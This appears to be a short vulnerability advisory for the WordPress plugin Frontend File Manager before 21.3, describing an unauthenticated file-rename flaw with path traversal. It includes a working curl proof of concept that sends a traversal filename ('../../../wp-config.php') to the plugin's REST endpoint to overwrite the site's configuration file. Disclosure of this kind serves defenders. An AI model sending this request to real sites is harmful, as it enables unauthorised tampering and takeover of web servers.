Frontend File Manager < 21.3 - Unauthenticated File Renaming

2022-09-0700:00:00

Raad Haddad of Cloudyrion GmbH

249

file manager

unauthenticated

renaming

security

exploit

EPSS

0.001

Percentile

41.1%

JSON

The plugin allows any unauthenticated user to rename uploaded files from users. Furthermore, due to the lack of validation in the destination filename, this could allow allow them to change the content of arbitrary files on the web server

curl -i -s -k -X 'POST' --data-binary 'fileid=45&filename=../../../wp-config.php' 'https://example.com/wp-json/wpfm/v1/file-rename'

This will replace the wp-config.php file with the content of the uploaded file with ID 45

EPSS

0.001

Percentile

41.1%

JSON

Related for WPEX-ID:00F76765-95AF-4DBC-8C37-F1B15A0E8608